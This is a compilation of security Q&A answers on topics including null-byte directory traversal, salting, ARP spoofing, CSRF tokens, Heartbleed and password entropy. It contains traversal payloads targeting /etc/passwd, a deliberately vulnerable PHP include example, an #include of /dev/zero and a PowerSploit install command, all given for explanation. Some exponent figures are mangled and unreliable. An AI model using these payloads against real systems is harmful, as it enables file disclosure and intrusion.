I'm not a Windows expert either, but I believe that the User Account Control (UAC) feature introduced in Windows 7 addressed this by having admin prompts render in a secure desktop whose input busses are isolated from your regular desktop.


Directory traversal only works with URL-encoded "%00" char in the end

%00 is the URL-encoded version of a null byte character. In some applications you can inject a null byte to prematurely terminate a string. An attacker may take advantage of this to cut the end of a string that they can't control.

Here is pseudocode for how the affected code may look like:

print(readfile("./" + $name + ".txt"))

In this example, any user-supplied value for $name would be automatically appended with a .txt extension, stopping you from choosing arbitrary file names. To be able to still supply your own path, you can use the 0x00 byte to terminate the string immediately after the payload.

Hence, these paths would be treated equally by the affected system:

./../../../../../../../../windows/PFRO.log
./../../../../../../../../windows/PFRO.log%00.txt

Null byte injection flaws are common because many higher-level languages are based on C, where a null byte is used to indicate the end of a string. E.g., here is an example of a vulnerable PHP script, taken from the PHP docs:

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists
    include '/home/wwwrun/'.$file.'.php';
    // the file /etc/passwd will be included
}
?>

Also see: Embedding Null Code on OWASP.


Arguments that proof a hashing scheme is sufficient

The salt needs not be secret, because if it needed to be secret we would call it a key.

Doing things correctly, and convincing other people that you did things correctly, are two distinct issues. In any case, we always assume that the attacker knows both the database contents and the code, because that's what happens in practice. Keeping code secret is very hard, since it exists as binaries and source codes in many places (the server itself, the developers' machines, backup tapes, in the developers' heads, and possibly over the whole Internet if the code is opensource). Assuming that the code is secret does not seem to be a good foundation for security.

Therefore, you may (and must) assume that the attacker will know which part of your stored string is the salt, and which part is the hash value. Hence, you may as well use a clear and precise encoding, like you suggest.

For the convincing part, quote NIST (the US federal organization which deals, in particular, with cryptography standards), special publication 800-132. See for instance page 3 of that document, where the salt is defined as:

  A non-secret binary value that is used as an input to the key
  derivation function PBKDF specified in this Recommendation to
  allow the generation of a large set of keys for a given password.

(emphasis on "non-secret").


A bit of a weird one, but: it's a denial-of-service risk, or potential information disclosure.

Because C's preprocessor will cheerfully include any file specified in an #include directive, somebody can #include "../../../../../../../../../../dev/zero" and the preprocessor will try to read to the end of /dev/zero (good luck).

Similarly, especially if you let people see the output of their compilation attempts, somebody could try including various files that may or may not be present on your system, and could learn things about your machine. Combined with clever usage of #pragma poison, they might even learn things about the file contents even if you don't provide full error messages.

Relatedly, pragmas can alter a lot of preprocessor, compiler, or linker behavior, and are specified in source files. There's probably not one that lets somebody do something like specify the output file name or something like that, but if there is, it could be abused to override sensitive files, or get itself executed (by writing into cron or similar). There might be something similarly dangerous. You really should be careful about compiling untrusted code.


OpenSSL - how to renew certificates in production?

Certificate renewal can be automated as long as entire procedure (workflow) is well defined, transparent and approved within your company (by security team). You can use scheduled tasks (cron, in your case) to

track existing certificate validity
Once the certificate is about to expire (passed 80% of lifetime, for example), generate new CSR on target system
Submit CSR to CA server
Retrieve issued certificate
Bind new certificate and associated key pair in applications (web server).

When the whole process is secure (that is, keys are generated on target system and do not leave it, CSRs are validated/reviewed and authenticated on CA server and so on) I don't see why it can't be automated.


cross-over cable vs router for network with 2 computers?

The first thing to say is that it isn't a choice between a cross-over cable and a router. The initial choice is between a cross-over cable and a switch. Most home/soho routers will contain a switch, typically 4 ports. More professional routers (e.g. the Ubiquiti EdgeRouter Lite) may only have 2 or 3 ports that have more independence than a typical low-cost switch/router.

The main issue, however, with your "architecture" is that you need 2 different network connections on the "client" computer. That could be wired and Wi-Fi or 2xwired.

One caveat before continuing: If the "client" computer is something like a fixed desktop with little use, then you could easily turn it into a dedicated router if it has two network ports.

Assuming you can do that, the next problem is how the client computer's operating system handles multiple network connections.

Typically, a Windows client (e.g. Windows 10) is not designed for this configuration and about all you can do natively is bridge the two connections. In that case, you are relying on the Windows firewall to protect your server, again it is not designed for this though it will probably do just fine. But the bigger problem is that, if your client computer is compromised, your server is likely to be as well - you can mitigate that by running an OS level firewall on the server.

Things are rather better if using Linux on the client computer since Linux OS's are generally very good at being servers and have a number of tools commonly available such as the IPTABLES firewall. You can also get tools to help with routing issues and many routers actually run Linux under the skin. You still have the additional vulnerabilities that come from using a client computer as a router though - namely that client computers are generally more exposed to dangers.

Routers are designed specifically for this purpose and therefore are likely to have better performance overall since you are not relying on the performance of the client computer. Client computer performance will vary greatly depending on what else you are running and it is generally hard (at least under Windows) to optimise for routing use. Routers will be doing less things and should be optimised for those tasks anyway.

Routers are also likely to give better security, they are not running so many tasks - every task you run adds to security risk as it adds to the potential number of security flaws open to attack.

Of course, there are rarely absolutes in the world of IT design and there are a lot of variables that we don't know about.

In general though, you are much better off with a router. It is likely to be more secure and also likely to have better overall performance or at least more consistent performance than a client computer.


websocket connection over TLS using nopoll fails with SSL_ERROR_SYSCALL

The websocket client process used nopoll library that needed access to /dev/urandom as it called random() to generate seed. But the process itself was running in a linux container that did not have access to /dev/urandom. So the client was unable to generate keys during TLS handshake.

Mounting /dev/urandom to the client container resolved the issue.


How useful or beneficial is participating in CTF contests for my security career?

CTFs really are what you make them (like a lot of other things in life).

Networking You never know who you are talking to at these events or what type of opportunities arise with the people you are working with. You never know who will notice your skills at those kinds of events either. You may start a company with people on your CTF team or meet someone who offers you a great(er) job.

How it looks: I put victories for some of the CTFs Ive done on my resume (I guess Im the different kind of security person bethlakshmi mentioned :-) ) and this is almost always what potential employers ask me about.

Usually they ask questions like

1) What did you do for your team?

2) Did you ever work with technology they want?

Usual interview questions, but they honestly want to hear about the experience and can use it as a way to validate "This guy actually knows the things that are listed on his resume".

Your fears
I would also say that breaking imaginary TCP services and funny puzzles are important to being a good pen-tester.  People who have the skillset to break those puzzles understand not only the how to pen-testing, but also the "why things work" behind pen-testing.  Potential employers will see you as being more eager to solve new problems, yada, yada.

Answer Is it for you? I guess you will have to try it.  I can tell you it is a great way to have fun, make new friends, and learn more security.  At the very least you will have people on your team who will help your pen-testing skills grow. In my opinion its worth it.  For career advancement...that really depends on where your career is today and where you want it to be tomorrow.


Criteria for Evaluating Static Analysis Tools

Here are the things on my list, that I use for my clients (including some of those that you've mentioned):

Coverage (according to what the org requires today, and expects to use in the future)

Language
Architecture (e.g. some tools are great for web apps, but not so much for rich clients or even Windows Services / daemons)
Framework (e.g. support for ASP.NET but not MVC, or Java but not Spring)
Standard Libraries (e.g. recognizing Hibernate, log4j, or AntiXSS, to name a few problematic ones) as are needed

Scan performance. In this I include both:

Speed
Scalability to large codebases (including LoC, subsystems/projects, and external references)

Completeness - i.e. rules/scripts included in the scan, enough to provide confidence in the output, or in other words to minimize false negatives.

Note that this is both the list of provided rules (e.g. checks for "SQL Injection");
AND the quality of those checks, i.e. actually catch SQL Injections. (As an example, a certain leader in the field, which shall remain nameless, can be easily confused by many forms of codeflow, thus missing basic injection flaws.)

Accuracy of results. This applies to the results which ARE reported (as opposed to those missing, covered in "Completeness"). Poor accuracy can be seen in:

High numbers of false positives
Duplicates
Miscategorizations
Misprioritizations (e.g. labeling a very low impact bug as "High Risk")
Irrelevant results (i.e. a code flaw which is accurate, but completely irrelevant to the application or architecture; e.g. finding XSS in a non-HTML, non-HTTP, and non-interactive app, or SQL Injection on a client application).

Customizability - as you said, customizing sources, sinks, and filters; also reports; but also, no less so, customizing rules/scripts and adding custom logic (not just source->filter->sink). Note that many tools allow you to "customize" their rules, but this is really limited only to adding source/sink/filters.
Sustainability / repeatability - by this I refer to handling of repeat scans. How does it handle changes? Issues previously marked as false positives? Do I get comparisons?
Deployment model, e.g. usually combination of:

single auditor station
shared server, accessed via remote
web access
developer plugin
build server pluggability
(and of course ability to set a different policy for each)

Usability. This includes:

UI (including hotkeys etc)
auditor filtering capabilities
providing enough context via highlighting enough of the codeflow
static text, such as explanations, descriptions, remediation, links to external sources, Ids in OWASP/CWE, etc.
additional user features - e.g. can I add in a manual result (not found by automatic scan)?

Reporting - both flexible per project as needed (dont forget detailed for devs and high-level for managers), and aggregated cross-project. Also comparisons, etc etc.
Security (in the case of a server-model) - protecting the data, permissions management, etc. (much like any server app...)
Cost. This includes at least:

hardware
license - any or all of the following:

per seat - auditor
per seat - developer
per seat - reports user
per server
per project
per lines of code
site license

maintenance
services - e.g. deployment, tuning, custom integration, etc
training (both the trainer, and the auditor/developers' time)

Integration with :

source control
bug tracker
development environment (IDE)
build server / CI / CD
automation

Looking over this, I think it's pretty much in the order of preference - starting from basic requirements, to applicability, to quality, to ease of deployment, to efficiency, to nice-to-have...


Why SSL uses a third party (certificate authority) yet SSH does not

Because they're used differently. TLS/SSL x509 certificates as commonly used in HTTPS is used to connect to public systems, i.e. systems that are accessed by a large number of people, most of whom had no prior out-of-band connection with the owner of the system.

SSH, on the other hand, are primarily used to access private systems by a small number of server administrators who have had prior access to the system to setup the server keys or other forms of out-of-band access to the system to verify the server key fingerprint.

Note that the SSH model is insecure if you do not verify that the key fingerprint presented by the server matches what you expect before connecting. In TLS, the responsibility of checking the ownership of the key fingerprint is offloaded to certificate authorities (CA).

TLS can also be used with self signed certificate or with private CA, which works in similar trust model as SSH.


Any known cases of government backdoors creating exploitable security holes?

Wiretapping case in Greece 2004–05: officially mandated but disabled interface for tapping into talks was used by unknown entity to listen to talks by high-profile politicians.
Juniper VPN Backdoor: use of NSA mandated insecure random generator together with the modifications added by an unknown party allowed decryption of VPN traffic by third parties by simple passive sniffing.
Backdoor in the cryptography of Lotus Notes used by several european governments. While they got the version with stronger cryptography the NSA controlled part of the key so in effect they got a version where NSA could still decrypt the content.
Government mandated export regulations lead to the EXPORT ciphers in SSL. These ciphers were used outside the USA because the stronger ciphers could not be exported. While this was long ago the ciphers are still there and ultimately lead to the FREAK attack.
GCHQ forced weak cryptography into the GSM standard so that they could decrypt mobile communication.


What are the vulnerabilities of using NFC on my Samsung SGS3?

I think it all depends on particular usage scenario. Because potential attacks can involve for example:

Over/underflow in software handling nfc communication
The same in regard to application software that is using nfc
Potential electrical overload of nfc transceiver
Information disclosure - if there is some "harmless" service code used to test nfc during development
If nfc usage does not involve human acceptance any vulnerability in application software can be exploited without you even knowing about it
Without strong authentication device spoofing can be possible

All of these are potential threats to nfc, as to any wireless technology you might say. So as long as you will be aware that this is wireless and it means that anyone has access to it, and you institute a reasonable precautions you should be ok :). As a final word if it is not needed all the time turn it of :).


The "safe" versions of searching in encrypted data assume at least one of the following:

the pattern to search for is also encrypted with the same key (or some kind of related key) than the data itself;
the search result ("pattern was found there") is encrypted with the same key (or some kind of related key) than the data itself.

With either of these properties, the search engine does not leak information on the data to someone who would not be able to decrypt it in the first place.

The ultimate goal is to be able to offload the grunt work of searching to a big cloud system, while not needing to trust that system. Fully homomorphic encryption is the generic full-blown solution for offloading any kind of work, and the best currently known solutions for that are utterly unreasonable to apply because the overhead is tremendous (it can be implemented, but there is little use in offloading work to a cloud if the result is something slower than a pocket calculator). Encrypted data searching is a specialization: by restricting ourselves to a specific kind of work to offload (i.e. searching), we hope to find algorithms which are sufficiently lightweight to have a practical application.

To my knowledge, the field has not produced anything practical yet (but there is no intrinsic reason why it could not).


Encrypting using the private key in Identity-Based Cryptography

So I think I have a complete grasp on the question, and IBE.  I'm going to attempt an answer.  There is an end to my madness.

IBE is based on bilinear pairings in cryptography.  Page 23 of that paper is where they start talking about pairings, but I think the whole paper is relevant.  A pairing scheme often used by IBE is Weil Pairing (also described in that document).  These are based in elliptic curves math magic.

Elliptic curves are a lot like Diffie Hellman in that they're both based in the discrete log problem.  Here's a question and answer as to why DH can not be used for digital signatures.  There are some digital signature schemes that use Elliptic curves as a base, but additions are needed (such as hashing algorithms).  ECC Based Digital Signature Schemes.

My line of thinking is that the statement "Alice encrypts with her private key." is not as simple as it seems.  Like Elliptic curves and DH, a pairing can be generated for a given input.  But you first need to have the input in order to get the generated private key.  Which implies that encrypting with the private key would not result in a successful decrypt by the public key.  In the same way that you have separate decrypt and encrypt functions in some modes of symmetric encryption.

I'm not saying that you can't provide a means for this.  There are standards out there for ECC based IBE Signatures (RFC 6507), but they have to be built into IBE scheme for such verification to work.

I learned something in all this, my previous comment about public key cryptography concepts generally the same was completely wrong.  I hope this answers your question.  I tried to keep Wikipedia articles to a minimum :)


How to check if a port can be accessed from the outside

No, there's no way to do an external port scan without actually having an external machine.

I would suggest grabbing an Amazon EC2 instance (because it's cheap) and running nmap from it.


What is LS0... encoding of a PKI certificate?

I would suggest that this is just base64 encoded PEM:
$ echo "-----BEGIN CERTIFICATE-----" | base64
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCg==

$ echo "-----BEGIN CERTIFICATE-----" | base64 | cut -c-3
LS0


It is unclear what you are trying to test exactly. But for browsers there is SSLLabs client test. One can also look at the ClientHello (contains all the supported ciphers, curves, hash algorithms ...).

...  wanted to know,

For anything which needs multiple handshakes (like determining supported protocol versions) one has to somehow instrument the client to do multiple handshakes. While this is possible for web browsers by using JavaScript, there is no standard way for anything else. That's why one cannot write a universal tool which deeply tests behavior of arbitrary TLS clients.


Web Cache Deception - exploitable without a cache server?

Looks like it might be a false positive ? Can you reproduce the issue manually ?
Web Cache Poisoning can happen without a cache server or CDN since some application have an internal cache mechanism.

Drupal is often used with third party caches like Varnish, but it also
contains an internal cache which is enabled by default.

Source: Practical Web Cache Poisoning


What is Open Resolver Project and how does it solve DNS reflection attacks?

The Open Resolver Projects tries to find recursive DNS servers which have no access lists to restrict which clients can use the nameserver. Nameservers like these can be used for DNS amplification attacks because they can be mislead using spoofed IP addresses for DNS queries. The attacker forges the source of the query to the address of its victim. The answer (which can be quite large, especially when DNSSEC is involved) will be sent to the spoofed address. When a large number of these spoofed requests are done simultaneously from many networks, the amount of traffic caused by answers will be large, possibly large enough to cause a Distributed Denial of Service Attack (DDoS).

BCP38 is a best practice in network engineering which can be used to stop spoofed requests within the network of the attacker. It basically says that no traffic should leave a network coming from IP addresses which are not assigned to that network. This can be done using techniques like access lists or reverse path filtering (RPF).

Open Resolvers are just one (very effective) way to exploit networks which do not implement BCP38 for performing DDoS'es. Other services are used as well, for example NTP seems to be quite popular in the last few weeks. Allowing queries on resolvers only from trusted source addresses (closing down the resolves so to say) is a good thing, but it's just stopping one type of attacks. Implementing BCP38 throughout a network is a much more effective solution, since it stops many more types of attacks.


While reading around this topic found two intresting answers :

From cisco Forums :

  An IPSec VPN only provides protection for the traffic that is being
  transmitted through the VPN. It provides no protection about any other
  traffic that might be received. I have deployed many VPN routers where
  we provide protection against other traffic. I am surprised some times
  at the amount of other traffic, which includes probes of the network
  and things that are likely attack attempts, which we detect and
  discard at the edge of the remote network.

  Depending on how the VPN is terminated (on an Internet facing router,
  or a concentrator or other device behind the edge of the remote
  network) the firewall might be positioned between the VPN termination
  and the remote network in which case it will see the all of the
  traffic and be able to evaluate it. Or the firewall might be between
  the VPN termination and the remote network edge in which case it will
  see the IPSec traffic but not be able to evaluate it while it can
  evaluate all other traffic.

And also view this :

VPN Behind firewall :

VPN Server Behind the Firewall on the Internet

Image credit : Technet forums


How to implement server/client software where only user can access his files via key-pair

As long as the administrators of the server cannot be trusted any kind of key management, encryption or decryption should not be done on the server or through code provided by the server (like a program downloaded from the server or Javascript from the server).

This means these actions need to be done either by a fully trusted third party or by renting computing power from a trusted third party or by the user itself on its own (trusted) system. The latter might be achieved with standalone apps (from a trusted source). In the browser this could be done with some extension from a trusted source. It could not be done with extension or HTML+script loaded from the untrusted server since this could have been manipulated by the malicious admin.


How to recover from ransomware using Restore Points?

Some ransomware do compromise system restore points, others don't. To do it, they would need to have admin priveliges. But it is not at all unimaginable that malware would have that.

So should you rely on system restore points stored on your hard drive as protections against malware before the infection? Absolutely not! You need to have an external backup.

But could you rely on them to restore lost data after an infection, if you have no other backups? Yes, possibly, but only as a last resort. Be aware that your system may still be infected even after the restoration if the ransomware has infected the system image (or the ransomware could simply have encrypted them as well). You might also want to try to identify the ransomware, and do some research to figure out if that particular strand of malware compromise system restore points or not.

Also, as Tsar points out, system restore points don't contain user data  most of the time. So you might not get much back from them.


In ARP spoofing is it two MAC mapping to one IP address OR two IP mapping to one MAC address?

The answer is correct. When ARP poisoning happens, the attacker machine is saying "Hi, I am 10.20.30.40, my MAC is AABBCCDDEEFF". And the victim machine is saying "Hi, I am 10.20.30.40, my MAC is 112233445566".

Two machines with the same MAC. Why? It's because on the Ethernet layer, IP does not mean anything. The MAC is the address used to route the packet. And when someone needs to send a packet to 10.20.30.40, it's the MAC address that defines who will receive the packet, not the IP. if the MAC is already cached, the packet is sent right away.

Otherwise, the sender will issue an ARP Request: who is 10.20.30.40? Tell 10.20.30.200, the owner of the IP will reply, and 10.20.30.200 will put the entry on its cache table.

You are seeing those "duplicate IP address detected" because 2 (or more) MAC addresses are replying to the same IP. When a message ARP Request: who is 10.20.30.40? Tell 10.20.30.200 is sent, both the attacker and the victim are telling they own that IP, and giving their own MAC addresses.


Why does the EFFs unique-prefix-wordlist have so long words

Using cap, old and (presumably) viper would ruin the edit distance guarantee.

I imagine that users don't want to just type the first three letters - it can be less mental effort to type words. There's another common scheme where you take a longer sequence of words and include only the first letter from each word: Which approach you prefer is largely a matter of taste.


Why doesn't XSS vulnerability from the site launching the CSRF attack make the Synchronizer Token Pattern insecure?

The add redirects a get to fakebank.com using your session data,
  causing fakebank.com to send your browser the confirm transfer page
  which happens to include the unique token.

This cannot happen if fakebank.com is using a CSRF token correctly.

A CSRF attack is basically just making a request to a target site from a malicious site.  The purpose of the CSRF token is to require that all requests made to the site include this secret token.  The malicious site has no way of knowing what this token is as long as the CSRF protection is setup correctly.

So without a CSRF token required a request could just do a post with the "transfer to account" and the amount.  When a CSRF token is required the request must also include a CSRF token that a malicious site will not know.

I tried the method described in the link you provided and it doesn't seem to work against a properly configured site.

If you were in fact able to pull the page of an authenticated user from a domain you do not control (as the link is suggesting) and that page contained the CSRF token, then yes, you could bypass the protection provided by a CSRF token.

If fakebank.com has an XSS vulnerability then all bets are off.


How to interpret "Verify the use of a secure software development lifecycle that addresses security in all stages of development"?

Section 1.1.1 refers to Proactive Controls Controls C1: Define Security Requirements
I think Section 1.1.1 can be considered as a high-level control for making sure SDLC procedure discovered and documented, and security controls, procedures, and concepts properly defined, selected, and implemented.

How to verify that this requirement is met by the company?

Try to understand your SDLC, what security checks are missing, what checks can be implemented for your use-case?
Have you implemented application security testing concepts that are a must for every SSDLC:

DAST
SAST
IAST
SCA

Is it sufficient that all five phases of the SDLC are completed and documented and that security testing has confirmed the security of the solution and/or application?

Yes and no. From a high-level perspective, yes it is enough. However, from a low-level perspective, it is not. As you have mentioned, have you actually confirmed the security of the solution and/or application? I am not talking about "It looks okay in the paper" approach but "Hands-on" one.

What is your practical experience to verify that this point has been correctly implemented by the organization?

OWASP is somewhere good to start. In my experience, it may be looking good on paper. However, it is not about the solutions that check for the security of a version. It is more about security culture and maturity of controls that implemented. I would try to make sure that every stakeholder understood why are we doing these controls and adopted them.


How does ESET antivirus filter browser SSL/TLS traffic?

Tries to executed MiTM attack on SSL/TLS?

Yes, that is the case. Antivirus and Firewalls do SSL inspection by being a man in the middle on the SSL connection. Since this causes warnings in the browser about unknown issuers they usually also deploy their proxy CA as trusted into the OS and browsers.

For a deeper technical explanation see the many question about this topic on this site, like Does a TLS interception proxy present the user's browser with the end server's certificate?
or Why is 'avast! Web/Mail Shield Root' listed as CA for google.com?


How do companies authenticate internal users in internal systems?

You generally trust your internal applications that you allow to authenticate against an internal user directory. If you don't trust them, it does not make sense to allow then on premises, and allowing login.

Furthermore, user enumeration is usually not considered a high impact risk. Many companies have public usernames, in the form of firstname.lastname@example.com, which is rather widely distributed.

If your security relies on restricted access to LDAP, you're probably doing something wrong.


Tracking a user who has posted abusive messages

It appears to be a dynamically allocated IP address for a customer of Telefónica who is, as far as I understand, a Spanish ISP.

If what that user did was thoroughly evil to the point of being illegal, then you could complain, launch the judicial machinery, and force them to retaliate on the offender. Otherwise, there is not much to do; you cannot block him efficiently because dynamic IP may change. To some extent, that's what you deserve by accepting that anonymous visitors post messages to your site: if you allow even the worst morons to post on your site, well, they will.

Edit: actually, there is a lot you can technically do, but it would be both illegal and risky. For instance, if the perpetrator comes back and is an amateur (i.e. a real human using a real Web browser) then you could track him with cookies, inject hostile Javascript in what your server sends him, and things like that. But that's uncourteous, somewhat puerile, forbidden by Law (you are not supposed to "fight back"), and has a high risk of collateral damage. Quite possibly, the IP you saw was that of an innocent bystander who just happens to have a computer infected with malware, turning it into a relay host for evildoers.


Why Invoke-ReflectivePEInjection not recognized

It's part of PowerSploit, which you need to install:

Install-Module -Name PowerSploit

If you've already installed it, you need to import it into your scope using

Import-Module PowerSploit

If you need it regularly, add the above in your $profile script.


Exploit Completed, but no session was created

The message tells you that probably your exploit has failed. Many exploits are not 100% reliable or your target is patched so this can happen. Not always a message will tell you that your exploit has failed instead you will see this message. But it is also possible that you have configured your payload handler wrong and so the payload code can't connect back.


Can a caller "Hijack" your SIM information?

Short answer - no. Currently there is no mechanism that would allow someone to clone your SIM card without having physical access to it. A number of cheap and commercially available devices (e.g. this SIM MAX for $7.50) can clone your SIM card with relative ease - that is, if you place your SIM card inside the device and it extracts the KI.

What you're referring to are scams (quite common in recent times) where scammers attempt to extract as much information as possible from you, and then go to the telco and obtain a "replacement" SIM card, which then they use to make international phone calls, for which you will pick the bill.

Some telecom service providers have lax policies in place, where you only need an ID (can be easily faked) and part of the IMSI number (which the scammers are trying to obtain from you  when they're asking you to enter those key combinations) to obtain a replacement SIM.


Heartbleed: Why does the client supply the length of the message at all?

I am not aware of any definitive, "official" answer on this subject, but this seems to be part of an attempt at genericity and coherence. In the SSL/TLS standard, all messages follow regular encoding rules, using a specific presentation language. No part of the protocol "infers" length from the record length.

One enlightening detail is the ClientKeyExchange message: in SSL 3.0, with an RSA key exchange, the contents of that handshake message are the "raw" encryption result (i.e. 256 bytes if the server uses a 2048-bit RSA key, plus the 4-byte handshake message header); in TLS 1.0 and subsequent versions, the encryption result is an "opaque vector" with an extra two-byte header containing the length, so that's 258 bytes, not 256, and still with an extra 4-byte handshake message header. This change illustrates the will of the standard designers to achieve strict regularity with as little inference from packet length as possible.

One gain of not inferring length from the outer structure is that it makes it much easier to include optional extensions afterwards. This was done with ClientHello messages, for instance.

If we look at things from a higher point of view, TLS is only half-finished. TLS, as a protocol, needs to exchange structured data; sender and receiver must be able to encode and decode such data with no ambiguity, and preferably no buffer overflow either. One strategy for that is to do the following:

Define strict, regular encoding rules for structured elements. For instance, define that every single element should be preceded by a header containing the length of the element.
Define an unambiguous language to express the structure and type of all messages as part of the protocol standard; that's the "presentation language" of the RFC.
Write a generic compiler software, into which you paste the presentation language from the RFC, and which produces an encoder/decoder implementation which handles the encoding and decoding of all messages, with systematic checks on all lengths and value ranges and so on.

An embodiment of this strategy is ASN.1. ASN.1 is used, for instance, in X.509 certificates; with an ASN.1 compiler, you could (theoretically) paste the ASN.1 syntax from the X.509 standard and obtain a complete encoder/decoder engine for X.509 certificates (I have done that, including writing my own ASN.1 compiler, and there are some "quirks", including the fact that the ASN.1 types for strings and dates appear to have been invented by a baboon on LSD; but the overall scheme still works).

Another embodiment is XML, with XML Schema as "presentation language": you push the schema and the input data into your XML parser, and if something other than an error code is produced, then you know that all the data complies with the schema, and you can walk it in a decoded, structured tree. Again, that's the theory, which is nice, as far as theories go.

The "presentation language" of TLS falls a bit short here: it does not have a compiler. That language looks like a "computer language", but it was meant for human reading. For that, it works well; however, this means that the developer will have to transcribe that language into an encoder/decoder. The developer must take care not to forget a step. And that's exactly what occurred with the "heartbleed" bug: a step was forgotten, which can have dire consequences.


I'm told a root CA keeps they public/private keys totally offline.

It is not a question of online vs. offline but secret vs. public. The private key is held private as the name suggests, i.e. it is only known to the CA. The public is public like the name suggests and it is included in the public certificate. This certificate is then installed on each client as trusted root. Insofar the public key of the root CA is not transferred during the TLS handshake (i.e. kept offline) because the client already has a copy of it and uses it as a trust anchor. But since the certificate is publicly known anyway it does not matter if it gets transferred through the internet (online). Still the client should only use the locally trusted CA as trust anchor and not some random CA transferred over the internet.


Isolate part of my PC to keep security for online purchases?

Running in a virtual machine will generally provide a good amount of isolation. You can also use a sandbox tool which is included with many anti-malware packages or an independent one such as Sandboxie. Other alternatives include using a live cd that you boot fresh each time you want to have a known system state.

However, the reality is that malware on your local PC is not the only or most likely threat you face with online shopping. If the website from which you are purchasing has poor security, then the attacker may be able to intercept messages or to hack the company and steal your data from the company without compromising your machine.

Every day in life you need to take measured risks. If you are using a well known or generally trusted website (reseeller ratings, web of trust ratings, etc ) you have less risk. You also have a risk of using a credit card in a store like Target (which had a credit card breach last year), which then gets breached. The best thing to do is to check your credit report at least once a year (free for all in the US per law once per year from each credit bureau) and to always check your credit card bills; card issuers are generally responsible for reversing fraudulent charges if reported by the card holder. You could also purchase identity theft monitoring services for peace of mind.


Re-installing GnuPG Suit - should I keep a copy of keyring?

You can try to export keys from your keyring and save them to a secure place.

As written here, https://gist.github.com/chrisroos/1205934 :

gpg --export-ownertrust > path/to/secure/directory/gpg.txt

And, to import it back, you could :

gpg --import-ownertrust your/ownertrust/gpg.txt


How do I verify exactly which cipher suite is in use for this Remote Desktop session?

Enable SCHANNEL logging;

http://support.microsoft.com/kb/260729

The following will log everything;

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL]
"EventLogging"=dword:00000007

You will then have events in the SYSTEM log for example;

An SSL client handshake completed successfully. The negotiated cryptographic parameters are as follows.

Protocol: TLS 1.0
   CipherSuite: 0x2f
   Exchange strength: 1024

Google the resulting cipher suite.

FAWC

When using Elliptic Curve certificates you will also get something like the following as the certificates are exchanged;

An SSL server handshake completed successfully. The negotiated cryptographic parameters are as follows.

Protocol: TLS 1.0
   CipherSuite: 0xc009
   Exchange strength: 256


PHP stuff requests on Node.js based web app?

This is a classic case of an attacker scanning your website to look for any interesting directories or files that may lead to exploitation. I can say that this happens to a very high percentage of websites online.

The hacker is running a not so sophisticated directory scan and is using the .php extension by default.

As mentioned in the comments, this question may be able to give you additional information.


Why guest's connections can pass host's firewall?

If you're running a VM and it isn't filtered by the firewall, then it's probably operating in a bridged mode at L2 below the firewall's view of packets. To diagram:

network card  --|-- firewall ---- applications
                |
               VM

If you're talking about Linux, then a Serverfault question discusses this as well, and there are kernel patches to change this behavior with iptables. There's also ebtables, which is designed specifically for bridged interface filtering.


Secure communication End-to-end with android and Server

HTTPS + certificate pinning seems like an obvious route.


How effective are password checking websites?

A little test at the site you mentioned suggests they're considering length, alphabet, and brute force attacks only.  The password you posted does indeed return an answer of 100 billion years.  Changing it to "yummy candy yum" returns 'only' 49 million years.  An eight character word, with or without numbers, returns eleven minutes.  Adding one symbol changes the answer to three hours.  So, probably a relatively unsophisticated algorithm.  Everything happens in JavaScript, but it is minified and I didn't slog through it.

Sadly for users for passwords, which is almost everyone, crackers of passwords have a surprisingly large number of heuristics and they've learned to harness GPUs to parallelize guesses.  Ars Technica did a series of articles on this in 2013.  Rather than post a half-dozen links, try this: https://www.google.com/search?q=password+cracking+site%3Aarstechnica.com

So, your question breaks down into two parts: How many bits of entropy in a password, and how long does it take to crack a password with n bits of entropy?  You can get a good example of "bits of entropy" in the XKCD comic mentioned by others.

People have four vocabularies: the vocabulary of words they use in speech, the vocabulary of words they understand in speech, the vocabulary of words they use in writing, and the vocabulary of words they understand in writing.  (The separation of spoken understanding and written understanding may be a little controversial but it really doesn't matter for the purpose of this discussion; I'm going to argue that speaking and reading vocabularies are the important ones.)

I have long suspected that the average American's speaking English vocabulary is about a thousand words.  I just spent some time looking for evidence or research and came up empty.  However, Mark Burnett found that 91% of all passwords come from a list of just 1,000 items. (https://xato.net/passwords/more-top-worst-passwords/)  That supports my conjecture as well as a fair amount of research might do.

So, if I asked an "average American" to pick a random word, that's probably about ten bits of entropy.  Randall Munroe (XKCD author) suggests using a list of 2,000 random words to generate pass phrases, so each word is about eleven bits of entropy because log2(2048) is 11.

Note that the password selection has to be random.  Password crackers take human biases into account in their heuristics.  One way to pick random words from a list is with Diceware.

We can think about entropy of characters instead of words.  There are 95 printable ASCII characters, and so, about that many one could type into a password.  Log2(95) is about 6.6, so, if characters are chosen randomly, an eight character password gives about 53 bits of entropy.  However, as Munroe points out in the comic, we rarely choose characters randomly; we pick a pattern, and that cuts entropy drastically.  (I do note that password manager programs can choose randomly from an alphabet, or at least pseudo-randomly.)

Given a way to estimate the number of bits of entropy in a password, how long to crack n bits?  If we've done the entropy estimate accurately, that accounts for the heuristics used by the crackers, and we can simplify to brute force cracking.

For fast hashes and no salting, this Ars Technica article estimates up to eight billion guesses per second.  Eight billion is 233. So, 33 bits of entropy will take one second, 34 bits, two seconds, and so on.  A pass phrase with 44 bits of entropy will take 211 seconds, or about half an hour.  If you get to 66 bits of entropy, six words from Munroe's hypothetical list or about ten random characters, that's 48 days 272 years.

It is important to note that the eight billion guesses/second is based on the passwords having been stored unsalted and using a fast hash like SHA-1.  If passwords are stored properly, using a random salt* and a key-stretching algorithm, then the brute force attack is reduced to thousands of guesses per second instead of billions.  There are details at Crackstation.  Sadly, we cannot depend upon people who run systems to store passwords "right," and so it is very important not to re-use passwords.

So, to (finally!) get to the question that was asked, "yummy candy yummy" probably has about 30 bits of entropy.  A random 14-character string has about 6.6 * 14 = 92.4 bits of entropy, more than 262 or a quintillion times more secure.

* A salt (see the Crackstation article) doesn't make it harder to crack a single password; it's purpose is to prevent precomputation attacks, where one set of computations cracks all or most passwords in a sample.


Are passwords in Mozilla products stored insecurely?

Have you set a master password? If not you don't even need third party software to view the passwords. Just go to options->security->stored passwords and click show passwords and there they are. Try setting a master password in the security settings and see if the software is still able to list your credentials

Since I can't yet comment on the other answers due to my reputation, the reason why the tool only works for firefox is likly that it's just developed for firefox. There are tools for viewing passwords for other browsers too.
